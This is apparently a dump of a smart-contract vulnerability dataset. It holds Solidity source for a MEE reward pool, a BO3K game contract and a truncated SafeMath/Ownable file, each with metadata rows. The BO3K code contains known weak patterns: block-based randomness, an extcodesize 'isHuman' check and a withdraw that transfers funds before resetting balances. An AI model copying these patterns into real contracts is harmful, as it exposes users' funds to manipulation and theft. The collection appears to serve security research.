let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of MEE (rewards).
contract MeeRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. MEEs to distribute per block.
uint256 lastRewardBlock; // Last block number that MEEs distribution occurs.
uint256 accMeePerShare; // Accumulated MEEs per share, times 1e18. See below.
bool isStarted; // if lastRewardBlock has passed
}
IERC20 public mee = IERC20(0x57aE681cF079740d1f2d7E0078a779B7443c2a21);
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when MEE mining starts.
uint256 public startBlock;
// The block number when MEE mining ends.
uint256 public endBlock;
uint256 public constant BLOCKS_PER_DAY = 28800; // 86400 / 3;
uint256 public totalRewards = 100 ether;
uint256 public rewardPerBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _mee, uint256 _startBlock) public {
require(block.number < _startBlock, "late");
if (_mee != address(0)) mee = IERC20(_mee);
startBlock = _startBlock; // supposed to be 4,702,800 (Mon Feb 08 2021 14:30:00 UTC)
endBlock = startBlock.add(BLOCKS_PER_DAY.mul(10));
rewardPerBlock = totalRewards.div(endBlock.sub(startBlock));
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "MeeRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _lpToken) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].lpToken != _lpToken, "MeeRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate,
uint256 _lastRewardBlock) public onlyOperator {
checkPoolDuplicate(_lpToken);
if (_withUpdate) {
massUpdatePools();
}
if (block.number < startBlock) {
// chef is sleeping
if (_lastRewardBlock == 0) {
_lastRewardBlock = startBlock;
} else {
if (_lastRewardBlock < startBlock) {
_lastRewardBlock = startBlock;
}
}
} else {
// chef is cooking
if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) {
_lastRewardBlock = block.number;
}
}
bool _isStarted = (_lastRewardBlock <= startBlock) || (_lastRewardBlock <= block.number);
poolInfo.push(PoolInfo({lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accMeePerShare: 0, isStarted: _isStarted}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's MEE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) {
if (_from >= _to) return 0;
if (_to <= startBlock) {
return 0;
} else if (_to >= endBlock) {
if (_from >= endBlock) {
return 0;
} else if (_from <= startBlock) {
return rewardPerBlock.mul(endBlock.sub(startBlock));
} else {
return rewardPerBlock.mul(endBlock.sub(_from));
}
} else {
if (_from <= startBlock) {
return rewardPerBlock.mul(_to.sub(startBlock));
} else {
return rewardPerBlock.mul(_to.sub(_from));
}
}
}
// View function to see pending MEEs on frontend.
function pendingReward(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accMeePerShare = pool.accMeePerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _meeReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accMeePerShare = accMeePerShare.add(_meeReward.mul(1e18).div(lpSupply));
}
return user.amount.mul(accMeePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _meeReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accMeePerShare = pool.accMeePerShare.add(_meeReward.mul(1e18).div(lpSupply));
}
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accMeePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeMeeTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accMeePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accMeePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeMeeTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accMeePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe mee transfer function, just in case if rounding error causes pool to not have enough MEEs.
function safeMeeTransfer(address _to, uint256 _amount) internal {
uint256 _meeBal = mee.balanceOf(address(this));
if (_meeBal > 0) {
if (_amount > _meeBal) {
mee.safeTransfer(_to, _meeBal);
} else {
mee.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 amount,
address to) external onlyOperator {
if (block.number < endBlock + BLOCKS_PER_DAY * 180) {
// do not allow to drain lpToken if less than 180 days after farming
require(_token != mee, "!mee");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.lpToken, "!pool.lpToken");
}
}
_token.safeTransfer(to, amount);
}
}
| 253,414 | 13,180 |
2c339e730c31e3a156ddb6a3a5e6c9fd99c4c89428dfceffe33e56872e0f534d
| 23,266 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x269a6ffb97325e8e371f067fea216c9f62848833.sol
| 7,736 | 21,568 |
pragma solidity ^0.4.24;
contract BO3Kevents {
event onBuying (address indexed _addr,
uint256 ethAmount,
uint256 flagAmount,
uint256 playerFlags,
uint256 ethOfRound,
uint256 keysOfRound,
uint256 potOfRound);
event onTimeAdding(uint256 startTime,
uint256 endTime,
uint256 newTimeInterval,
uint256 currentInterval);
event onDiscount(address indexed _addr,
uint256 randomValue,
uint256 discountValue,
bool getDiscount);
event onRoundEnding(address indexed winnerAddr,
uint teamID,
uint256 winValue,
uint256 soldierValue,
uint256 teamValue,
uint256 nextRoundStartTime,
uint256 nextRoundEndTime,
uint256 nextRoundPot);
event onWithdraw(address indexed withdrawAddr,
uint256 discountRevenue,
uint256 refferedRevenue,
uint256 winRevenue,
uint256 flagRevenue);
}
contract modularLong is BO3Kevents {}
contract BO3KMain is modularLong {
using SafeMath for *;
using BO3KCalcLong for uint256;
address constant public Admin = 0x3ac98F5Ea4946f58439d551E20Ed12091AF0F597;
uint256 constant public LEADER_FEE = 0.03 ether;
uint256 private adminFee = 0;
uint256 private adminRevenue = 0;
uint256 private winTeamValue = 0;
uint private winTeamID = 0;
string constant public name = "Blockchain of 3 Kindoms";
string constant public symbol = "BO3K";
uint256 constant private DISCOUNT_PROB = 200;
uint256 constant private DISCOUNT_VALUE_5PER_OFF = 50;
uint256 constant private DISCOUNT_VALUE_10PER_OFF = 100;
uint256 constant private DISCOUNT_VALUE_15PER_OFF = 150;
uint256 constant private DENOMINATOR = 1000;
uint256 constant private _nextRoundSettingTime = 0 minutes;
uint256 constant private _flagBuyingInterval = 30 seconds;
uint256 constant private _maxDuration = 24 hours;
uint256 constant private _officerCommission = 150;
bool _activated = false;
bool CoolingMutex = false;
uint256 public roundID;
uint public _teamID;
BO3Kdatasets.PotSplit potSplit;
BO3Kdatasets.FlagInfo Flag;
mapping (uint256 => BO3Kdatasets.Team) team;
mapping (uint256 => mapping (uint256 => BO3Kdatasets.TeamData)) teamData;
mapping (uint256 => BO3Kdatasets.Round) round;
mapping (uint256 => mapping (address => BO3Kdatasets.Player)) player;
mapping (address => uint256) playerFlags;
constructor () public {
team[1] = BO3Kdatasets.Team(0, 500, 250, 150, 50, 50, 0, 0);
team[2] = BO3Kdatasets.Team(1, 250, 500, 150, 50, 50, 0, 0);
team[3] = BO3Kdatasets.Team(2, 375, 375, 150, 50, 50, 0, 0);
potSplit = BO3Kdatasets.PotSplit(450, 450, 50, 50);
// to-do: formation of flag and time update
Flag = BO3Kdatasets.FlagInfo(10000000000000000, now);
}
modifier isActivated() {
require (_activated == true, "Did not activated");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
// size of the code at address _addre
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Addresses not owned by human are forbidden");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 100000000000, "ground limit");
require(_eth <= 100000000000000000000000, "floor limit");
_;
}
modifier isPlayerRegistered(uint256 _roundID, address _addr) {
require (player[_roundID][_addr].hasRegistered, "The Player Has Not Registered!");
_;
}
function buyFlag(uint _tID, address refferedAddr) isActivated() isHuman() isWithinLimits(msg.value) public payable {
require(_tID == 1 ||
_tID == 2 ||
_tID == 3 ,
"Invalid Team ID!");
// core(msg.sender, msg.value, _teamID);
uint256 _now = now;
_teamID = _tID;
// if it's around the legal time
if(isLegalTime(_now)) {
// main logic of buying
uint256 flagAmount = buyCore(refferedAddr);
// 30 sec interval
updateTimer(flagAmount);
} else {
if(!isLegalTime(_now) && round[roundID].ended == false) {
round[roundID].ended = true;
endRound();
} else {
revert();
}
// to-do:rcountdown for 1 hour to cool down
}
}
function buyCore(address refferedAddr) isActivated() isWithinLimits(msg.value) private returns(uint256) {
// flag formula
if(player[roundID][refferedAddr].isGeneral == false) {
refferedAddr = address(0);
}
address _addr = msg.sender;
uint256 _value = msg.value;
uint256 flagAmount = (round[roundID].totalEth).keysRec(_value);
require (flagAmount >= 10 ** 18, "At least 1 whole flag");
// discount info
bool getDiscount = false;
// update data of the round, contains total eth, total flags, and pot value
round[roundID].totalEth = (round[roundID].totalEth).add(_value);
round[roundID].totalFlags = (round[roundID].totalFlags).add(flagAmount);
// distribute value to the pot of the round. 50%, 25%, 37.5%, respectively
round[roundID].pot = (round[roundID].pot).add((_value.mul(team[_teamID].city)).div(DENOMINATOR));
// update data of the team, contains total eth, total flags
team[_teamID].totalEth = (team[_teamID].totalEth).add(_value);
team[_teamID].totalFlags = (team[_teamID].totalFlags).add(flagAmount);
teamData[roundID][_teamID].totalEth = (teamData[roundID][_teamID].totalEth).add(_value);
teamData[roundID][_teamID].totalFlags = (teamData[roundID][_teamID].totalFlags).add(flagAmount);
// if the user has participated in before, just add the total flag to the player
if(player[roundID][_addr].hasRegistered) {
player[roundID][_addr].flags += flagAmount;
} else {
// user data
player[roundID][_addr] = BO3Kdatasets.Player({
addr: _addr,
flags: flagAmount,
win: 0,
refferedRevenue: 0,
discountRevenue: 0,
teamID: _teamID,
generalID: 0,
payMask: 0,
hasRegistered: true,
isGeneral: false,
isWithdrawed: false
});
}
// player's flags
playerFlags[_addr] += flagAmount;
// winner ID of the round
round[roundID].playerID = _addr;
// random discount
uint256 randomValue = random();
uint256 discountValue = 0;
// discount judgement
if(randomValue < team[_teamID].grain) {
if(_value >= 10 ** 17 && _value < 10 ** 18) {
discountValue = (_value.mul(DISCOUNT_VALUE_5PER_OFF)).div(DENOMINATOR);
} else if(_value >= 10 ** 18 && _value < 10 ** 19) {
discountValue = (_value.mul(DISCOUNT_VALUE_10PER_OFF)).div(DENOMINATOR);
} else if(_value >= 10 ** 19) {
discountValue = (_value.mul(DISCOUNT_VALUE_15PER_OFF)).div(DENOMINATOR);
}
// _addr.transfer(discountValue);
// add to win bonus if getting discount
player[roundID][_addr].discountRevenue = (player[roundID][_addr].discountRevenue).add(discountValue);
getDiscount = true;
}
// distribute the eth values
// the distribution ratio differs from reffered address
uint256 soldierEarn;
// flag distribution
if(refferedAddr != address(0) && refferedAddr != _addr) {
// 25%, 50%, 37.5% for soldier, respectively
soldierEarn = (((_value.mul(team[_teamID].soldier) / DENOMINATOR).mul(1000000000000000000)) / (round[roundID].totalFlags)).mul(flagAmount)/ (1000000000000000000);
// 5% for admin
adminFee += (_value.mul(team[_teamID].teamWelfare)).div(DENOMINATOR);
// 15% for officer
player[roundID][refferedAddr].refferedRevenue += (_value.mul(team[_teamID].officer)).div(DENOMINATOR);
// paymask
round[roundID].payMask += ((_value.mul(team[_teamID].soldier) / DENOMINATOR).mul(1000000000000000000)) / (round[roundID].totalFlags);
player[roundID][_addr].payMask = ((((round[roundID].payMask).mul(flagAmount)) / (1000000000000000000)).sub(soldierEarn)).add(player[roundID][_addr].payMask);
} else {
// 40%, 65%, 52.5% for soldier, respectively
soldierEarn = (((_value.mul(team[_teamID].soldier + team[_teamID].officer) / DENOMINATOR).mul(1000000000000000000)) / (round[roundID].totalFlags)).mul(flagAmount)/ (1000000000000000000);
// 5% for admin
adminFee += (_value.mul(team[_teamID].teamWelfare)).div(DENOMINATOR);
// paymask
round[roundID].payMask += ((_value.mul(team[_teamID].soldier + team[_teamID].officer) / DENOMINATOR).mul(1000000000000000000)) / (round[roundID].totalFlags);
player[roundID][_addr].payMask = ((((round[roundID].payMask).mul(flagAmount)) / (1000000000000000000)).sub(soldierEarn)).add(player[roundID][_addr].payMask);
}
emit BO3Kevents.onDiscount(_addr,
randomValue,
discountValue,
getDiscount);
emit BO3Kevents.onBuying(_addr,
_value,
flagAmount,
playerFlags[_addr],
round[roundID].totalEth,
round[roundID].totalFlags,
round[roundID].pot);
return flagAmount;
}
function updateTimer(uint256 flagAmount) private {
uint256 _now = now;
// uint256 newTimeInterval = (round[roundID].end).add(_flagBuyingInterval).sub(_now);
uint256 newTimeInterval = (round[roundID].end).add(flagAmount.div(1000000000000000000).mul(10)).sub(_now);
if(newTimeInterval > _maxDuration) {
newTimeInterval = _maxDuration;
}
round[roundID].end = (_now).add(newTimeInterval);
round[roundID].updatedTimeRounds = (round[roundID].updatedTimeRounds).add(flagAmount.div(1000000000000000000));
emit BO3Kevents.onTimeAdding(round[roundID].start,
round[roundID].end,
newTimeInterval,
(round[roundID].end).sub(_now));
}
function endRound() isActivated() private {
// end round: get winner ID, team ID, pot, and values, respectively
require (!isLegalTime(now), "The round has not finished");
address winnerPlayerID = round[roundID].playerID;
uint winnerTeamID = player[roundID][winnerPlayerID].teamID;
uint256 potValue = round[roundID].pot;
uint256 winValue = (potValue.mul(potSplit._winRatio)).div(DENOMINATOR);
uint256 soldierValue = (potValue.mul(potSplit._soldiersRatio)).div(DENOMINATOR);
uint256 nextRoundValue = (potValue.mul(potSplit._nextRatio)).div(DENOMINATOR);
uint256 adminValue = (potValue.mul(potSplit._adminRatio)).div(DENOMINATOR);
uint256 teamValue = team[winnerTeamID].totalEth;
if(winnerPlayerID == address(0x0)) {
Admin.transfer(potValue);
nextRoundValue -= nextRoundValue;
adminValue -= adminValue;
} else {
player[roundID][winnerPlayerID].win = (player[roundID][winnerPlayerID].win).add(winValue);
winTeamID = winnerTeamID;
}
// Admin.transfer(adminValue + adminFee);
adminRevenue = adminRevenue.add(adminValue).add(adminFee);
adminFee -= adminFee;
round[roundID].ended = true;
roundID++;
round[roundID].start = now.add(_nextRoundSettingTime);
round[roundID].end = (round[roundID].start).add(_maxDuration);
round[roundID].pot = nextRoundValue;
emit BO3Kevents.onRoundEnding(winnerPlayerID,
winnerTeamID,
winValue,
soldierValue,
teamValue,
round[roundID].start,
round[roundID].end,
round[roundID].pot);
}
function activate() public {
//activation
require (msg.sender == 0xABb29fd841c9B919c3B681194c6173f30Ff7055D,
"msg sender error");
require (_activated == false, "Has activated");
_activated = true;
roundID = 1;
round[roundID].start = now;
round[roundID].end = round[roundID].start + _maxDuration;
round[roundID].ended = false;
round[roundID].updatedTimeRounds = 0;
}
// next flag value
function getFlagPrice() public view returns(uint256) {
// return (((round[roundID].totalFlags).add(1000000000000000000)).ethRec(1000000000000000000));
uint256 _now = now;
if(isLegalTime(_now)) {
return (((round[roundID].totalFlags).add(1000000000000000000)).ethRec(1000000000000000000));
} else {
return (75000000000000);
}
}
function getFlagPriceByFlags (uint256 _roundID, uint256 _flagAmount) public view returns (uint256) {
return round[_roundID].totalFlags.add(_flagAmount.mul(10 ** 18)).ethRec(_flagAmount.mul(10 ** 18));
}
function getRemainTime() isActivated() public view returns(uint256) {
return ((round[roundID].start).sub(now));
}
function isLegalTime(uint256 _now) internal view returns(bool) {
return (_now >= round[roundID].start && _now <= round[roundID].end);
}
function isLegalTime() public view returns(bool) {
uint256 _now = now;
return (_now >= round[roundID].start && _now <= round[roundID].end);
}
function random() internal view returns(uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty)) % DENOMINATOR);
}
function withdraw(uint256 _roundID) isActivated() isHuman() public {
require (player[_roundID][msg.sender].hasRegistered == true, "Not Registered Before");
uint256 _discountRevenue = player[_roundID][msg.sender].discountRevenue;
uint256 _refferedRevenue = player[_roundID][msg.sender].refferedRevenue;
uint256 _winRevenue = player[_roundID][msg.sender].win;
uint256 _flagRevenue = getFlagRevenue(_roundID) ;
if(isLegalTime(now) && !round[_roundID].ended) {
// to-do: withdraw function
msg.sender.transfer(_discountRevenue + _refferedRevenue + _winRevenue + _flagRevenue);
} else {
msg.sender.transfer(getTeamBonus(_roundID) + _discountRevenue + _refferedRevenue + _winRevenue + _flagRevenue);
}
player[_roundID][msg.sender].discountRevenue = 0;
player[_roundID][msg.sender].refferedRevenue = 0;
player[_roundID][msg.sender].win = 0;
player[_roundID][msg.sender].payMask = _flagRevenue.add(player[_roundID][msg.sender].payMask);
// if(round[_roundID].ended) {
// player[_roundID][msg.sender].flags = 0;
// }
player[_roundID][msg.sender].isWithdrawed = true;
emit BO3Kevents.onWithdraw(msg.sender,
_discountRevenue,
_refferedRevenue,
_winRevenue,
_flagRevenue);
}
function becomeGeneral(uint _generalID) public payable {
require(msg.value >= LEADER_FEE && player[roundID][msg.sender].hasRegistered, "Not enough money or not player");
msg.sender.transfer(LEADER_FEE);
player[roundID][msg.sender].isGeneral = true;
player[roundID][msg.sender].generalID = _generalID;
}
function getIsActive () public view returns (bool) {
return _activated;
}
function getPot (uint256 _roundID) public view returns (uint256) {
return round[_roundID].pot;
}
function getTime (uint256 _roundID) public view returns (uint256, uint256) {
if(isLegalTime(now)) {
return (round[_roundID].start, (round[_roundID].end).sub(now));
} else {
return (0, 0);
}
}
function getTeam (uint256 _roundID) public view returns (uint) {
return player[_roundID][msg.sender].teamID;
}
function getTeamData (uint256 _roundID, uint _tID) public view returns (uint256, uint256) {
return (teamData[_roundID][_tID].totalFlags, teamData[_roundID][_tID].totalEth);
}
function getTeamBonus (uint256 _roundID) public view returns (uint256) {
// pot * 0.45 * (playerflag/teamflag)
uint256 potValue = round[_roundID].pot;
uint256 _winValue = (potValue.mul(potSplit._soldiersRatio)).div(DENOMINATOR);
uint _tID = player[_roundID][msg.sender].teamID;
if(isLegalTime(now) && (_roundID == roundID)) {
// return ((player[_roundID][msg.sender].flags).mul(_winValue)).div(team[_tID].totalFlags);
return ((player[_roundID][msg.sender].flags).mul(_winValue)).div(teamData[_roundID][_tID].totalFlags);
} else {
if(_tID != winTeamID) {
return 0;
} else if (player[_roundID][msg.sender].isWithdrawed) {
return 0;
} else {
// return ((player[_roundID][msg.sender].flags).mul(_winValue)).div(team[_tID].totalFlags);
return ((player[_roundID][msg.sender].flags).mul(_winValue)).div(teamData[_roundID][_tID].totalFlags);
}
}
}
function getBonus (uint256 _roundID) public view returns (uint256) {
return player[_roundID][msg.sender].discountRevenue + player[_roundID][msg.sender].win;
}
function getAllRevenue (uint256 _roundID) public view returns (uint256) {
return (getTeamBonus(_roundID) + player[_roundID][msg.sender].discountRevenue + player[_roundID][msg.sender].win + getFlagRevenue(_roundID) + player[_roundID][msg.sender].refferedRevenue) ;
}
function getAllWithdrawableRevenue (uint256 _roundID) public view returns (uint256) {
if(isLegalTime(now) && (_roundID == roundID))
return (player[_roundID][msg.sender].discountRevenue + player[_roundID][msg.sender].win + getFlagRevenue(_roundID) + player[_roundID][msg.sender].refferedRevenue) ;
return (getTeamBonus(_roundID) + player[_roundID][msg.sender].discountRevenue + player[_roundID][msg.sender].win + getFlagRevenue(_roundID) + player[_roundID][msg.sender].refferedRevenue) ;
}
function getFlagRevenue(uint _round) public view returns(uint256)
{
return((((player[_round][msg.sender].flags).mul(round[_round].payMask)) / (1000000000000000000)).sub(player[_round][msg.sender].payMask));
}
function getGeneralProfit (uint256 _roundID) public view returns (uint256) {
return player[_roundID][msg.sender].refferedRevenue;
}
function getDistributedETH (uint256 _roundID) public view returns (uint256) {
return (round[_roundID].totalEth).sub(round[_roundID].pot).sub(adminFee);
}
function getGeneral (uint256 _roundID) public view returns (bool, uint) {
return (player[_roundID][msg.sender].isGeneral, player[_roundID][msg.sender].generalID);
}
function getPlayerFlagAmount (uint256 _roundID) public view returns (uint256) {
return player[_roundID][msg.sender].flags;
}
function getTotalFlagAmount (uint256 _roundID) public view returns (uint256) {
return round[_roundID].totalFlags;
}
function getTotalEth (uint256 _roundID) public view returns (uint256) {
return round[_roundID].totalEth;
}
function getUpdatedTime (uint256 _roundID) public view returns (uint) {
return round[_roundID].updatedTimeRounds;
}
function getRoundData(uint256 _roundID) public view returns(address, uint256, uint256, bool) {
return (round[_roundID].playerID, round[_roundID].pot, round[_roundID].totalEth, round[_roundID].ended);
}
function getAdminRevenue () public view returns (uint) {
return adminRevenue;
}
function withdrawAdminRevenue() public {
require (msg.sender == Admin);
Admin.transfer(adminRevenue);
adminRevenue = 0;
}
}
library BO3KCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256){
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) {
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth) internal pure returns(uint256) {
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys) internal pure returns(uint256) {
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library BO3Kdatasets {
struct Team {
uint teamID;
uint256 city;
uint256 soldier;
uint256 officer;
uint256 grain;
uint256 teamWelfare;
uint256 totalEth;
uint256 totalFlags;
}
struct TeamData {
uint256 totalEth;
uint256 totalFlags;
}
struct PotSplit {
uint256 _winRatio;
uint256 _soldiersRatio;
uint256 _nextRatio;
uint256 _adminRatio;
}
struct Round {
address playerID; // pID of player in lead
// uint256 teamID; // tID of team in lead
uint256 start; // time round started
uint256 end; // time ends/ended
uint256 totalFlags; // keys
uint256 totalEth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 payMask;
uint updatedTimeRounds;
bool ended; // has round end function been ran
}
struct Player {
address addr; // player
uint256 flags; // flags
uint256 win; // winnings vault
uint256 refferedRevenue;
uint256 discountRevenue;
uint256 payMask;
uint teamID;
bool hasRegistered;
bool isGeneral;
uint generalID;
bool isWithdrawed;
}
struct FlagInfo {
uint256 _flagValue;
uint256 updateTime;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
require(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x) internal pure returns (uint256) {
return (mul(x,x));
}
function pwr(uint256 x, uint256 y) internal pure returns (uint256) {
if (x==0)
return (0);
else if (y==0)
return (1);
else {
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 270,872 | 13,181 |
1d773786717022fdf4ee4a97a3c24f1d83057d17be8afc6a7d8027182e923011
| 17,980 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x07E6347Dd2F83a1b396a79060613e890f44Fa36F.sol
| 4,779 | 15,081 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
